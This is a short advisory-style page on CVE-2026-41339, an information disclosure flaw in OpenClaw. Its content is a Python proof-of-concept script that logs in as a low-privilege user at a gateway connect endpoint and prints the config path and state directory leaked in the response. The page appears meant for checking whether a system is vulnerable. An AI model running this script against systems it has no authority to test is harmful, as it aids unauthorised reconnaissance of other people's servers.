CVE-2026-41339 OpenClaw信息泄露漏洞

import requests # Target URL (Replace with actual target) target_url = "http://target-openclaw-instance/api/gateway/connect" # Credentials for a non-admin user (Replace with valid credentials) auth_data = { "username": "low_priv_user", "password": "password123" } try: # Send request to connect to gateway response = requests.post(target_url, json=auth_data) if response.status_code == 200: data = response.json() # Check if snapshot contains sensitive paths if "snapshot" in data: snapshot = data["snapshot"] config_path = snapshot.get("configPath") state_dir = snapshot.get("stateDir") print("[+] Information Disclosure Detected!") print(f"Config Path: {config_path}") print(f"State Dir: {state_dir}") else: print("[-] No snapshot data found in response.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")